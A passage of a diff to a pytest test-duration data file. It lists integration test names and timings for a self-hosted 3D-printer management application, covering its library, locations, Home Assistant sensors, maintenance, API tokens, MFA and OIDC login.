"integration/test_library_tags_api.py::TestLibraryTagFilter::test_file_listing_includes_tags_array": 0.21291999612003565, + "integration/test_library_tags_api.py::TestLibraryTagFilter::test_tag_filter_ignores_folder_id": 0.22114550322294235, + "integration/test_library_trash_api.py::test_auto_purge_runs_when_enabled_and_throttles_by_24h": 0.18843402061611414, + "integration/test_library_trash_api.py::test_auto_purge_settings_roundtrip": 0.2076128888875246, + "integration/test_library_trash_api.py::test_auto_purge_skipped_when_disabled": 0.19055272452533245, + "integration/test_library_trash_api.py::test_delete_external_file_hard_deletes": 0.2089964710175991, + "integration/test_library_trash_api.py::test_delete_file_moves_to_trash": 0.22488747537136078, + "integration/test_library_trash_api.py::test_empty_trash": 0.23518550861626863, + "integration/test_library_trash_api.py::test_folder_delete_releases_items_anywhere_in_the_subtree": 0.22159741912037134, + "integration/test_library_trash_api.py::test_hard_delete_cancels_queued_items_and_names_the_file": 0.21630994882434607, + "integration/test_library_trash_api.py::test_hard_delete_from_trash": 0.22113047447055578, + "integration/test_library_trash_api.py::test_hard_delete_leaves_finished_and_running_items_their_outcome": 0.2050911309197545, + "integration/test_library_trash_api.py::test_hard_delete_rejects_active_file": 0.20287510007619858, + "integration/test_library_trash_api.py::test_purge_excludes_never_printed_when_requested": 0.21826545428484678, + "integration/test_library_trash_api.py::test_purge_execute_moves_to_trash": 0.20899382699280977, + "integration/test_library_trash_api.py::test_purge_preview_counts_old_files": 0.20763141475617886, + "integration/test_library_trash_api.py::test_purge_skips_external_files": 0.20263160299509764, + "integration/test_library_trash_api.py::test_release_reports_and_cancels_every_copy_of_one_file": 0.19315491057932377, + "integration/test_library_trash_api.py::test_restore_from_trash": 0.226891303434968, + "integration/test_library_trash_api.py::test_sweeper_hard_deletes_past_retention": 0.1949468469247222, + "integration/test_library_trash_api.py::test_sweeper_releases_items_before_hard_deleting": 0.19433048274368048, + "integration/test_library_trash_api.py::test_trash_settings_rejects_out_of_range": 0.19666072074323893, + "integration/test_library_trash_api.py::test_trash_settings_roundtrip": 0.21304921805858612, + "integration/test_library_trash_api.py::test_trashed_file_hidden_from_makerworld_dedupe": 0.20685890596359968, + "integration/test_library_trash_api.py::test_trashing_a_file_leaves_queued_items_alone": 0.2105011036619544, + "integration/test_library_variants_api.py::TestCreateVariantGroup::test_a_file_belongs_to_one_group_only": 0.21887987572699785, + "integration/test_library_variants_api.py::TestCreateVariantGroup::test_file_without_a_model_must_name_one": 0.217226667329669, + "integration/test_library_variants_api.py::TestCreateVariantGroup::test_groups_two_slices_in_priority_order": 0.21373354084789753, + "integration/test_library_variants_api.py::TestCreateVariantGroup::test_model_is_read_from_the_file_not_the_caller": 0.22240101546049118, + "integration/test_library_variants_api.py::TestCreateVariantGroup::test_normalization_catches_the_same_printer_spelled_differently": 0.20706841722130775, + "integration/test_library_variants_api.py::TestCreateVariantGroup::test_single_member_is_rejected_by_the_schema": 0.1987029379233718, + "integration/test_library_variants_api.py::TestCreateVariantGroup::test_two_slices_for_the_same_printer_are_rejected": 0.2190679693594575, + "integration/test_library_variants_api.py::TestCreateVariantGroup::test_unsliced_file_cannot_be_a_variant": 0.20668581034988165, + "integration/test_library_variants_api.py::TestVariantGroupMembership::test_add_version_to_an_existing_group": 0.21949720289558172, + "integration/test_library_variants_api.py::TestVariantGroupMembership::test_added_member_cannot_duplicate_a_model": 0.21441887319087982, + "integration/test_library_variants_api.py::TestVariantGroupMembership::test_deleting_a_group_keeps_the_files": 0.23534074891358614, + "integration/test_library_variants_api.py::TestVariantGroupMembership::test_removing_down_to_one_dissolves_the_group": 0.23279653955250978, + "integration/test_library_variants_api.py::TestVariantGroupMembership::test_removing_from_a_three_member_group_keeps_it": 0.21841126773506403, + "integration/test_library_variants_api.py::TestVariantGroupOrdering::test_lookup_by_file": 0.21211550664156675, + "integration/test_library_variants_api.py::TestVariantGroupOrdering::test_partial_reorder_is_rejected": 0.2041816869750619, + "integration/test_library_variants_api.py::TestVariantGroupOrdering::test_reorder_changes_priority": 0.21172862220555544, + "integration/test_local_login_gate.py::TestAdvancedAuthStatusSurfacesGate::test_env_var_bypass_flips_status_back_to_true": 0.19602015987038612, + "integration/test_local_login_gate.py::TestAdvancedAuthStatusSurfacesGate::test_status_includes_local_login_and_autologin": 0.2054526200518012, + "integration/test_local_login_gate.py::TestLdapLoginNotAffectedByGate::test_ldap_login_succeeds_when_local_disabled": 0.22880293522030115, + "integration/test_local_login_gate.py::TestLocalLoginGate::test_env_var_bypasses_local_disabled_gate": 0.2173482645303011, + "integration/test_local_login_gate.py::TestLocalLoginGate::test_forgot_password_rejected_when_local_disabled": 0.20746007189154625, + "integration/test_local_login_gate.py::TestLocalLoginGate::test_login_default_allows_local_credentials": 0.2197304405272007, + "integration/test_local_login_gate.py::TestLocalLoginGate::test_login_rejected_when_local_disabled": 0.20824120566248894, + "integration/test_local_login_gate.py::TestLocalLoginGate::test_the_bypass_var_is_registered_in_the_typo_guard": 0.0012230826541781425, + "integration/test_local_login_gate.py::TestLocalLoginGate::test_unrecognized_env_value_does_not_500_the_login_path": 0.2072900738567114, + "integration/test_location_ha_sensors_api.py::TestAlertDefaultsSetting::test_accepts_a_real_defaults_map": 0.21350484155118465, + "integration/test_location_ha_sensors_api.py::TestAlertDefaultsSetting::test_caps_the_stored_length": 0.19753487966954708, + "integration/test_location_ha_sensors_api.py::TestCascadeAndUniqueness::test_allows_a_different_category_on_the_same_location": 0.21705349255353212, + "integration/test_location_ha_sensors_api.py::TestCascadeAndUniqueness::test_deleting_a_location_takes_its_sensors": 0.21210578829050064, + "integration/test_location_ha_sensors_api.py::TestCascadeAndUniqueness::test_moisture_does_not_collide_with_humidity": 0.21248086262494326, + "integration/test_location_ha_sensors_api.py::TestCascadeAndUniqueness::test_patch_cannot_collide_with_another_sensors_category": 0.21268844231963158, + "integration/test_location_ha_sensors_api.py::TestCascadeAndUniqueness::test_patch_cannot_create_a_duplicate_binding": 0.21034078113734722, + "integration/test_location_ha_sensors_api.py::TestCascadeAndUniqueness::test_rejects_a_second_sensor_of_the_same_category": 0.2027593208476901, + "integration/test_location_ha_sensors_api.py::TestCascadeAndUniqueness::test_repointing_a_sensor_within_its_own_category_still_works": 0.2087980294600129, + "integration/test_location_ha_sensors_api.py::TestCascadeAndUniqueness::test_same_category_on_another_location_is_fine": 0.21380393207073212, + "integration/test_location_ha_sensors_api.py::TestCrud::test_a_row_that_predates_the_bound_is_still_readable": 0.22413349151611328, + "integration/test_location_ha_sensors_api.py::TestCrud::test_bind_a_humidity_sensor": 0.22245561890304089, + "integration/test_location_ha_sensors_api.py::TestCrud::test_delete_drops_the_cached_reading": 0.22246864344924688, + "integration/test_location_ha_sensors_api.py::TestCrud::test_patch_accepts_a_coherent_change": 0.2270662197843194, + "integration/test_location_ha_sensors_api.py::TestCrud::test_patch_rejects_an_entity_id_longer_than_the_column": 0.22822851967066526, + "integration/test_location_ha_sensors_api.py::TestCrud::test_rejects_a_duplicate_binding": 0.21591384708881378, + "integration/test_location_ha_sensors_api.py::TestCrud::test_rejects_a_kind_that_contradicts_the_entity": 0.1994451005011797, + "integration/test_location_ha_sensors_api.py::TestCrud::test_rejects_a_notify_with_nothing_to_trigger_on": 0.2130899839103222, + "integration/test_location_ha_sensors_api.py::TestCrud::test_rejects_a_switch": 0.20153001695871353, + "integration/test_location_ha_sensors_api.py::TestCrud::test_rejects_an_entity_id_longer_than_the_column": 0.207520074211061, + "integration/test_location_ha_sensors_api.py::TestCrud::test_rejects_an_unknown_location": 0.2092555370181799, + "integration/test_location_ha_sensors_api.py::TestEntityPicker::test_entities_is_not_parsed_as_a_sensor_id": 0.20733110886067152, + "integration/test_location_ha_sensors_api.py::TestEntityPicker::test_explains_itself_when_ha_is_not_configured": 0.20346528477966785, + "integration/test_location_ha_sensors_api.py::TestPollInterval::test_clamps_a_stored_value_below_the_minimum": 0.19647794868797064, + "integration/test_location_ha_sensors_api.py::TestPollInterval::test_defaults_to_120_seconds": 0.2183664944022894, + "integration/test_location_ha_sensors_api.py::TestPollInterval::test_reads_the_configured_value": 0.19845475256443024, + "integration/test_location_ha_sensors_api.py::TestPollInterval::test_rejects_a_value_below_the_60s_minimum": 0.2094184821471572, + "integration/test_location_ha_sensors_api.py::TestReadings::test_hidden_sensors_are_included_when_not_restricted_to_the_card": 0.21127345971763134, + "integration/test_location_ha_sensors_api.py::TestReadings::test_hidden_sensors_stay_off_the_card": 0.22409373801201582, + "integration/test_location_ha_sensors_api.py::TestReadings::test_other_locations_sensors_are_not_listed": 0.2090839548036456, + "integration/test_location_ha_sensors_api.py::TestReadings::test_serves_the_cached_reading": 0.2091950038447976, + "integration/test_location_ha_sensors_api.py::TestSaveSurvivesHomeAssistant::test_create_succeeds_even_if_the_first_read_blows_up": 0.22110300045460463, + "integration/test_location_ha_sensors_api.py::TestThresholdValidation::test_create_rejects_non_finite_thresholds[-inf]": 0.20467089489102364, + "integration/test_location_ha_sensors_api.py::TestThresholdValidation::test_create_rejects_non_finite_thresholds[Infinity]": 0.20117699541151524, + "integration/test_location_ha_sensors_api.py::TestThresholdValidation::test_create_rejects_non_finite_thresholds[inf]": 0.19541230145841837, + "integration/test_location_ha_sensors_api.py::TestThresholdValidation::test_create_rejects_non_finite_thresholds[nan]": 0.19514149334281683, + "integration/test_location_ha_sensors_api.py::TestThresholdValidation::test_patch_rejects_non_finite_thresholds": 0.21365469135344028, + "integration/test_location_ha_sensors_api.py::TestUniqueBindingBackstop::test_the_database_itself_rejects_a_duplicate_binding": 0.2123007234185934, + "integration/test_locations_api.py::test_create_location_duplicate_after_commit_returns_409": 0.20540557149797678, + "integration/test_locations_api.py::test_delete_location_404_on_unknown_id": 0.19327391311526299, + "integration/test_locations_api.py::test_list_locations_is_read_only": 0.2045165440067649, + "integration/test_locations_api.py::test_list_locations_sorts_naturally_not_lexicographically": 0.2209965130314231, + "integration/test_locations_api.py::test_locations_crud_and_spool_link": 0.23176004737615585, + "integration/test_locations_api.py::test_locations_routes_require_auth_when_enabled": 0.21422845870256424, + "integration/test_locations_api.py::test_rename_location_collision_returns_409": 0.20403080433607101, + "integration/test_locations_api.py::test_rename_location_updates_spool_count": 0.22214582841843367, + "integration/test_locations_api.py::test_update_location_404_on_unknown_id": 0.20461737271398306, + "integration/test_long_lived_tokens_api.py::TestCameraStreamTokenVerification::test_garbage_token_fails_camera_stream_check": 0.2223210046067834, + "integration/test_long_lived_tokens_api.py::TestCameraStreamTokenVerification::test_long_lived_token_verifies_via_camera_stream_path": 0.23594200517982244, + "integration/test_long_lived_tokens_api.py::TestCameraStreamTokenVerification::test_revoked_long_lived_token_fails_camera_stream_check": 0.23473769798874855, + "integration/test_long_lived_tokens_api.py::TestCreateLongLivedToken::test_create_rejects_above_max": 0.22698103077709675, + "integration/test_long_lived_tokens_api.py::TestCreateLongLivedToken::test_create_rejects_expires_in_zero": 0.22733325976878405, + "integration/test_long_lived_tokens_api.py::TestCreateLongLivedToken::test_create_requires_auth": 0.22383239679038525, + "integration/test_long_lived_tokens_api.py::TestCreateLongLivedToken::test_create_returns_plaintext_token_exactly_once": 0.24565759487450123, + "integration/test_long_lived_tokens_api.py::TestListLongLivedTokens::test_admin_can_filter_by_user_id": 0.2755051199346781, + "integration/test_long_lived_tokens_api.py::TestListLongLivedTokens::test_list_returns_only_callers_tokens_by_default": 0.2781818266957998, + "integration/test_long_lived_tokens_api.py::TestListLongLivedTokens::test_non_admin_cannot_see_other_users_tokens": 0.30024693347513676, + "integration/test_long_lived_tokens_api.py::TestRevokeLongLivedToken::test_admin_can_revoke_any_users_token": 0.27661899756640196, + "integration/test_long_lived_tokens_api.py::TestRevokeLongLivedToken::test_non_owner_non_admin_cannot_revoke": 0.3018477922305465, + "integration/test_long_lived_tokens_api.py::TestRevokeLongLivedToken::test_owner_can_revoke_own_token": 0.3728182828053832, + "integration/test_long_lived_tokens_api.py::TestRevokeLongLivedToken::test_revoke_unknown_id_404": 0.23773130867630243, + "integration/test_main_plug_pick_2830.py::TestASinglePlugIsNeverDropped::test_a_hidden_plug_still_holds_the_row": 0.1996686989441514, + "integration/test_main_plug_pick_2830.py::TestASinglePlugIsNeverDropped::test_an_accessory_still_holds_the_row": 0.20366972777992487, + "integration/test_main_plug_pick_2830.py::TestASinglePlugIsNeverDropped::test_no_plugs_means_null": 0.2016831748187542, + "integration/test_main_plug_pick_2830.py::TestOtherPrintersAreUnaffected::test_plugs_are_not_borrowed_across_printers": 0.20467127487063408, + "integration/test_main_plug_pick_2830.py::TestTheHAEntityRow::test_a_tasmota_main_plug_leaves_the_row_untouched": 0.2001300835981965, + "integration/test_main_plug_pick_2830.py::TestTheHAEntityRow::test_hidden_entities_stay_hidden": 0.1998169468715787, + "integration/test_main_plug_pick_2830.py::TestTheHAEntityRow::test_scripts_and_lights_still_appear": 0.19647867791354656, + "integration/test_main_plug_pick_2830.py::TestTheReportedStranding::test_the_outlet_is_not_also_drawn_in_the_ha_row": 0.20368697959929705, + "integration/test_main_plug_pick_2830.py::TestTheReportedStranding::test_the_outlet_takes_the_power_row": 0.21702951844781637, + "integration/test_main_plug_pick_2830.py::TestTheRestOfTheOrder::test_a_lone_monitor_only_plug_still_holds_the_row": 0.20272482745349407, + "integration/test_main_plug_pick_2830.py::TestTheRestOfTheOrder::test_a_printer_with_only_scripts_still_gets_one": 0.20010803174227476, + "integration/test_main_plug_pick_2830.py::TestTheRestOfTheOrder::test_a_script_in_the_power_row_keeps_its_button": 0.20329320058226585, + "integration/test_main_plug_pick_2830.py::TestTheRestOfTheOrder::test_a_switch_beats_a_script": 0.20520239137113094, + "integration/test_main_plug_pick_2830.py::TestTheRestOfTheOrder::test_a_switchable_plug_beats_a_monitor_only_mqtt_plug": 0.20387370977550745, + "integration/test_main_plug_pick_2830.py::TestTheRestOfTheOrder::test_an_enabled_plug_beats_a_disabled_one": 0.20644588209688663, + "integration/test_maintenance_api.py::TestMaintenanceItemsAPI::test_disable_maintenance_item": 0.20868039783090353, + "integration/test_maintenance_api.py::TestMaintenanceItemsAPI::test_get_maintenance_history": 0.2190540824085474, + "integration/test_maintenance_api.py::TestMaintenanceItemsAPI::test_perform_maintenance": 0.2122203540056944, + "integration/test_maintenance_api.py::TestMaintenanceItemsAPI::test_update_maintenance_item": 0.22090100403875113, + "integration/test_maintenance_api.py::TestMaintenanceItemsAPI::test_update_maintenance_item_not_found": 0.19305829890072346, + "integration/test_maintenance_api.py::TestMaintenanceTypesAPI::test_create_custom_maintenance_type": 0.2002075808122754, + "integration/test_maintenance_api.py::TestMaintenanceTypesAPI::test_create_custom_type_persists_wiki_url": 0.20614592730998993, + "integration/test_maintenance_api.py::TestMaintenanceTypesAPI::test_delete_custom_maintenance_type": 0.2100478420034051, + "integration/test_maintenance_api.py::TestMaintenanceTypesAPI::test_list_includes_system_types": 0.19601826649159193, + "integration/test_maintenance_api.py::TestMaintenanceTypesAPI::test_list_maintenance_types": 0.2075479570776224, + "integration/test_maintenance_api.py::TestMaintenanceTypesAPI::test_update_maintenance_type": 0.20014014095067978, + "integration/test_maintenance_api.py::TestPrinterHoursAPI::test_set_printer_hours": 0.20519800204783678, + "integration/test_maintenance_api.py::TestPrinterHoursAPI::test_set_printer_hours_not_found": 0.19244420807808638, + "integration/test_maintenance_api.py::TestPrinterMaintenanceAPI::test_get_all_maintenance_overview": 0.20631385408341885, + "integration/test_maintenance_api.py::TestPrinterMaintenanceAPI::test_get_maintenance_summary": 0.20118725579231977, + "integration/test_maintenance_api.py::TestPrinterMaintenanceAPI::test_get_printer_maintenance": 0.202217735350132, + "integration/test_maintenance_api.py::TestPrinterMaintenanceAPI::test_get_printer_maintenance_not_found": 0.19921758119016886, + "integration/test_makerworld_apikey_auth.py::TestImportEndpoint::test_api_key_owner_import_succeeds_and_stamps_owner_id": 0.24611166398972273, + "integration/test_makerworld_apikey_auth.py::TestImportEndpoint::test_api_key_without_cloud_scope_still_imports_but_owner_is_none": 0.25860516633838415, + "integration/test_makerworld_apikey_auth.py::TestJwtPathUnchanged::test_status_with_jwt_admin_token": 0.24401379376649857, + "integration/test_makerworld_apikey_auth.py::TestResolveEndpoint::test_api_key_owner_with_token_builds_authed_service": 0.23968544229865074, + "integration/test_makerworld_apikey_auth.py::TestStatusEndpoint::test_api_key_owner_with_token_sees_has_cloud_token_true": 0.24321870505809784, + "integration/test_makerworld_apikey_auth.py::TestStatusEndpoint::test_api_key_without_cloud_scope_reports_no_token": 0.24116205051541328, + "integration/test_metrics_api.py::TestMetricsAPI::test_metrics_contains_expected_metrics": 0.20353104826062918, + "integration/test_metrics_api.py::TestMetricsAPI::test_metrics_disabled_returns_404": 0.22115598060190678, + "integration/test_metrics_api.py::TestMetricsAPI::test_metrics_enabled_without_token": 0.20916004944592714, + "integration/test_metrics_api.py::TestMetricsAPI::test_metrics_format": 0.21322668250650167, + "integration/test_metrics_api.py::TestMetricsAPI::test_metrics_printer_metrics_when_no_printers": 0.20755638182163239, + "integration/test_metrics_api.py::TestMetricsAPI::test_metrics_with_token_requires_auth": 0.2248294074088335, + "integration/test_metrics_api.py::TestMetricsAPI::test_prometheus_settings_persist": 0.21155215054750443, + "integration/test_mfa_api.py::TestAdminDisable2FA::test_admin_disable_clears_totp": 0.302884915843606, + "integration/test_mfa_api.py::TestAdminDisable2FA::test_admin_disable_requires_admin": 0.2404920430853963, + "integration/test_mfa_api.py::TestAdminDisableNonAdminRejection::test_non_admin_cannot_disable_2fa": 0.24320851545780897, + "integration/test_mfa_api.py::TestCrossUserTokenIsolation::test_token_cannot_be_used_for_different_user": 0.28212856221944094, + "integration/test_mfa_api.py::TestEmailOTP::test_confirm_enable_email_otp_happy_path": 0.2471907800063491, + "integration/test_mfa_api.py::TestEmailOTP::test_confirm_enable_email_otp_setup_token_is_single_use": 0.24645316693931818, + "integration/test_mfa_api.py::TestEmailOTP::test_confirm_enable_email_otp_wrong_code": 0.2388104945421219, + "integration/test_mfa_api.py::TestEmailOTP::test_disable_email_otp_requires_password": 0.22362284641712904, + "integration/test_mfa_api.py::TestEmailOTP::test_disable_email_otp_when_enabled": 0.24918276257812977, + "integration/test_mfa_api.py::TestEmailOTP::test_enable_email_otp_without_email_returns_400": 0.23707985691726208, + "integration/test_mfa_api.py::TestEmailOTPConfirmCodeFormat::test_non_digit_code_rejected": 0.2176483878865838, + "integration/test_mfa_api.py::TestEmailOTPConfirmCodeFormat::test_seven_digit_code_rejected": 0.2203645184636116, + "integration/test_mfa_api.py::TestEmailOTPConfirmCodeFormat::test_valid_six_digit_code_passes_schema": 0.2234404655173421, + "integration/test_mfa_api.py::TestEmailOTPSendVerify::test_email_otp_send_and_verify": 0.2723837485536933, + "integration/test_mfa_api.py::TestEmailOTPSendVerify::test_email_otp_wrong_code_rejected": 0.26844695024192333, + "integration/test_mfa_api.py::TestEmailOTPSetupTokenPreservedOnWrongCode::test_wrong_code_does_not_consume_setup_token": 0.2360888607800007, + "integration/test_mfa_api.py::TestForgotPasswordPerIpRateLimit::test_per_ip_limit_triggers_429": 0.2850251719355583, + "integration/test_mfa_api.py::TestForgotPasswordTokenSingleUse::test_token_reuse_rejected": 0.22370401583611965, + "integration/test_mfa_api.py::TestListOidcLinksDefensiveProviderNull::test_list_oidc_links_returns_deleted_marker_for_orphan_provider": 0.23172397911548615, + "integration/test_mfa_api.py::TestLoginResponseShape::test_login_2fa_user_omits_access_token": 0.2812490649521351, + "integration/test_mfa_api.py::TestOIDCAudAndNonceMismatch::test_aud_mismatch_redirects_token_validation_failed": 0.31639268435537815, + "integration/test_mfa_api.py::TestOIDCAudAndNonceMismatch::test_nonce_mismatch_redirects_token_validation_failed": 0.2727305293083191, + "integration/test_mfa_api.py::TestOIDCAutoCreateDefaultGroup::test_administrators_group_can_be_set_as_default": 0.29732795152813196, + "integration/test_mfa_api.py::TestOIDCAutoCreateDefaultGroup::test_configured_group_assigned_to_auto_created_user": 0.3048419551923871, + "integration/test_mfa_api.py::TestOIDCAutoCreateDefaultGroup::test_dangling_default_group_id_falls_back_to_viewers": 0.28845026064664125, + "integration/test_mfa_api.py::TestOIDCAutoCreateDefaultGroup::test_null_default_group_id_falls_back_to_viewers": 0.7835877854377031, + "integration/test_mfa_api.py::TestOIDCAutoCreateUsername::test_name_claim_used_when_no_preferred_username": 0.33780011907219887, + "integration/test_mfa_api.py::TestOIDCAutoCreateUsername::test_non_string_preferred_username_falls_through_to_name": 0.3032001983374357, + "integration/test_mfa_api.py::TestOIDCAutoCreateUsername::test_preferred_username_sanitizes_to_empty_falls_through_to_name": 0.3082753121852875, + "integration/test_mfa_api.py::TestOIDCAutoCreateUsername::test_preferred_username_spaces_sanitized": 0.30569416377693415, + "integration/test_mfa_api.py::TestOIDCAutoCreateUsername::test_preferred_username_used_when_no_email": 0.3282933607697487, + "integration/test_mfa_api.py::TestOIDCAutoCreateUsername::test_provider_sub_fallback_when_no_claims": 0.291337413713336, + "integration/test_mfa_api.py::TestOIDCAutoCreateUsername::test_username_collision_appends_counter": 0.3078712038695812, + "integration/test_mfa_api.py::TestOIDCAutoLinkExistingLinkRejection::test_auto_link_rejected_when_user_already_linked": 0.21384097263216972, + "integration/test_mfa_api.py::TestOIDCCallbackCodeLength::test_code_2048_chars_accepted": 0.2014803821220994, + "integration/test_mfa_api.py::TestOIDCCallbackCodeLength::test_code_2049_chars_rejected": 0.18798727355897427, + "integration/test_mfa_api.py::TestOIDCCallbackCodeLength::test_code_512_chars_accepted": 0.19691613968461752, + "integration/test_mfa_api.py::TestOIDCCallbackCodeLength::test_state_2048_chars_accepted": 0.19561194349080324, + "integration/test_mfa_api.py::TestOIDCCallbackCodeLength::test_state_2049_chars_rejected": 0.18982091825455427, + "integration/test_mfa_api.py::TestOIDCCallbackCodeLength::test_state_512_chars_accepted": 0.19533751998096704, + "integration/test_mfa_api.py::TestOIDCEmailClaimResolution::test_auto_link_allowed_with_custom_claim_create": 0.2231213143095374, + "integration/test_mfa_api.py::TestOIDCEmailClaimResolution::test_auto_link_allowed_with_custom_claim_update": 0.24364001490175724, + "integration/test_mfa_api.py::TestOIDCEmailClaimResolution::test_auto_link_blocked_with_require_ev_false": 0.22754385508596897, + "integration/test_mfa_api.py::TestOIDCEmailClaimResolution::test_create_response_includes_new_fields": 0.2309847641736269, + "integration/test_mfa_api.py::TestOIDCEmailClaimResolution::test_email_resolution_matrix[fall-a-ev-absent]": 0.2749096844345331, + "integration/test_mfa_api.py::TestOIDCEmailClaimResolution::test_email_resolution_matrix[fall-a-ev-false]": 0.3024752475321293, + "integration/test_mfa_api.py::TestOIDCEmailClaimResolution::test_email_resolution_matrix[fall-a-ev-true]": 0.2919136341661215, + "integration/test_mfa_api.py::TestOIDCEmailClaimResolution::test_email_resolution_matrix[fall-a-malformed-email]": 0.3051330801099539, + "integration/test_mfa_api.py::TestOIDCEmailClaimResolution::test_email_resolution_matrix[fall-b-ev-absent]": 0.31020701956003904, + "integration/test_mfa_api.py::TestOIDCEmailClaimResolution::test_email_resolution_matrix[fall-b-ev-false]": 0.3307529902085662, + "integration/test_mfa_api.py::TestOIDCEmailClaimResolution::test_email_resolution_matrix[fall-b-ev-true]": 0.33956909365952015, + "integration/test_mfa_api.py::TestOIDCEmailClaimResolution::test_email_resolution_matrix[fall-b-malformed-email-ev-false]": 0.3256785199046135, + "integration/test_mfa_api.py::TestOIDCEmailClaimResolution::test_email_resolution_matrix[fall-b-malformed-email]": 0.3165503703057766, + "integration/test_mfa_api.py::TestOIDCEmailClaimResolution::test_email_resolution_matrix[fall-c-at-only]": 0.2874646447598934, + "integration/test_mfa_api.py::TestOIDCEmailClaimResolution::test_email_resolution_matrix[fall-c-claim-absent]": 0.31416809372603893, + "integration/test_mfa_api.py::TestOIDCEmailClaimResolution::test_email_resolution_matrix[fall-c-empty-domain]": 0.29008079692721367, + "integration/test_mfa_api.py::TestOIDCEmailClaimResolution::test_email_resolution_matrix[fall-c-empty-local]": 0.2983625093474984, + "integration/test_mfa_api.py::TestOIDCEmailClaimResolution::test_email_resolution_matrix[fall-c-ev-false-ignored]": 0.3050141083076596, + "integration/test_mfa_api.py::TestOIDCEmailClaimResolution::test_email_resolution_matrix[fall-c-lowercase-strip]": 0.30576654709875584, + "integration/test_mfa_api.py::TestOIDCEmailClaimResolution::test_email_resolution_matrix[fall-c-no-at]": 0.32639427948743105, + "integration/test_mfa_api.py::TestOIDCEmailClaimResolution::test_email_resolution_matrix[fall-c-no-dot-in-domain]": 0.3152860403060913, + "integration/test_mfa_api.py::TestOIDCEmailClaimResolution::test_email_resolution_matrix[fall-c-valid-upn]": 0.2930543916299939, + "integration/test_mfa_api.py::TestOIDCEmailClaimResolution::test_partial_update_auto_link_then_custom_claim_allowed": 0.24066519737243652, + "integration/test_mfa_api.py::TestOIDCEmailClaimResolution::test_partial_update_custom_claim_then_auto_link_allowed": 0.25656541995704174, + "integration/test_mfa_api.py::TestOIDCEmailClaimResolution::test_partial_update_guard_inverse_order": 0.24084374401718378, + "integration/test_mfa_api.py::TestOIDCEmailClaimResolution::test_partial_update_guard_require_ev": 0.2410267861559987, + "integration/test_mfa_api.py::TestOIDCEmailClaimResolution::test_update_response_reflects_new_fields": 0.2335167108103633, + "integration/test_mfa_api.py::TestOIDCEmailClaimValidation::test_claim_name_65_chars_rejected": 0.22712175641208887, + "integration/test_mfa_api.py::TestOIDCEmailClaimValidation::test_invalid_claim_name_dot_rejected": 0.21761079877614975, + "integration/test_mfa_api.py::TestOIDCEmailClaimValidation::test_invalid_claim_name_newline_rejected": 0.21920166816562414, + "integration/test_mfa_api.py::TestOIDCEmailClaimValidation::test_invalid_claim_name_starts_with_digit_rejected": 0.21881516557186842, + "integration/test_mfa_api.py::TestOIDCEmailClaimValidation::test_valid_claim_name_accepted": 0.2531934520229697, + "integration/test_mfa_api.py::TestOIDCEmailResolutionExtra::test_combined_state_guard_email_claim_inverse_order": 0.2513571372255683, + "integration/test_mfa_api.py::TestOIDCEmailResolutionExtra::test_fall_a_sec3_normalisation": 0.296370767056942, + "integration/test_mfa_api.py::TestOIDCEmailResolutionExtra::test_fall_b_sec3_normalisation": 0.3134340886026621, + "integration/test_mfa_api.py::TestOIDCEmailResolutionExtra::test_non_string_claim_value_drops_email": 0.27943665627390146, + "integration/test_mfa_api.py::TestOIDCEndToEnd::test_oidc_callback_creates_user_and_issues_jwt": 0.32065781857818365, + "integration/test_mfa_api.py::TestOIDCEndToEnd::test_oidc_callback_invalid_state_redirects_error": 0.19205833412706852, + "integration/test_mfa_api.py::TestOIDCEndToEnd::test_oidc_state_is_single_use": 0.3085498455911875, + "integration/test_mfa_api.py::TestOIDCExpiredTokenRejection::test_expired_exchange_token_rejected": 0.20366596058011055, + "integration/test_mfa_api.py::TestOIDCExpiredTokenRejection::test_expired_state_token_rejected_as_invalid_state": 0.19253881368786097, + "integration/test_mfa_api.py::TestOIDCFallCAutoLinkE2E::test_fall_c_auto_link_links_existing_user_via_callback": 0.21666610799729824, + "integration/test_mfa_api.py::TestOIDCIssMismatch::test_iss_mismatch_redirects_token_validation_failed": 0.287585761398077, + "integration/test_mfa_api.py::TestOIDCIssuerUrlTrailingSlash::test_iss_claim_trailing_slash_accepted": 0.27384969498962164, + "integration/test_mfa_api.py::TestOIDCIssuerUrlTrailingSlash::test_trailing_slash_issuer_url_fetches_correct_discovery_url": 0.2271794816479087, + "integration/test_mfa_api.py::TestOIDCProviderAutoLinkDefault::test_new_provider_auto_link_defaults_to_false": 0.22883273288607597, + "integration/test_mfa_api.py::TestOIDCProviderFieldLengths::test_client_secret_too_long_rejected": 0.2196519449353218, + "integration/test_mfa_api.py::TestOIDCProviderFieldLengths::test_name_too_long_rejected": 0.22381249070167542, + "integration/test_mfa_api.py::TestOIDCProviders::test_create_provider_invalid_default_group_id_returns_422": 0.2251570513471961, + "integration/test_mfa_api.py::TestOIDCProviders::test_create_provider_omit_default_group_id_stores_null": 0.23008537665009499, + "integration/test_mfa_api.py::TestOIDCProviders::test_create_provider_requires_admin": 0.22350628767162561, + "integration/test_mfa_api.py::TestOIDCProviders::test_create_provider_with_default_group_id": 0.2315263980999589, + "integration/test_mfa_api.py::TestOIDCProviders::test_created_provider_appears_in_all_list": 0.6967656165361404, + "integration/test_mfa_api.py::TestOIDCProviders::test_default_group_id_in_public_and_admin_list": 0.23583905305713415, + "integration/test_mfa_api.py::TestOIDCProviders::test_delete_provider": 0.2515959655866027, + "integration/test_mfa_api.py::TestOIDCProviders::test_disabled_provider_not_in_public_list": 0.2289156662300229, + "integration/test_mfa_api.py::TestOIDCProviders::test_list_public_providers_empty": 0.19294753018766642, + "integration/test_mfa_api.py::TestOIDCProviders::test_update_nonexistent_provider_returns_404": 0.22239305078983307, + "integration/test_mfa_api.py::TestOIDCProviders::test_update_provider": 0.2350894557312131, + "integration/test_mfa_api.py::TestOIDCProviders::test_update_provider_default_group_id": 0.23396190349012613, + "integration/test_mfa_api.py::TestOIDCStandardEmailFallback::test_email_claim_preferred_username_falls_back_to_standard_email": 0.2930559040978551, + "integration/test_mfa_api.py::TestOIDCStandardEmailFallback::test_email_claim_preferred_username_no_standard_email_keeps_email_none": 0.329857399687171, + "integration/test_mfa_api.py::TestOIDCStandardEmailFallback::test_fallback_respects_email_verified_false": 0.33263464644551277, + "integration/test_mfa_api.py::TestOIDCStandardEmailFallback::test_fallback_skipped_when_email_claim_is_email": 0.2920022187754512, + "integration/test_mfa_api.py::TestOIDCStateReplay::test_state_replay_rejected": 0.24312888830900192, + "integration/test_mfa_api.py::TestPreAuthTokenSingleUse::test_pre_auth_token_is_single_use": 0.2895882362499833, + "integration/test_mfa_api.py::TestPreAuthTokenSingleUse::test_pre_auth_token_survives_wrong_code": 0.30544813070446253, + 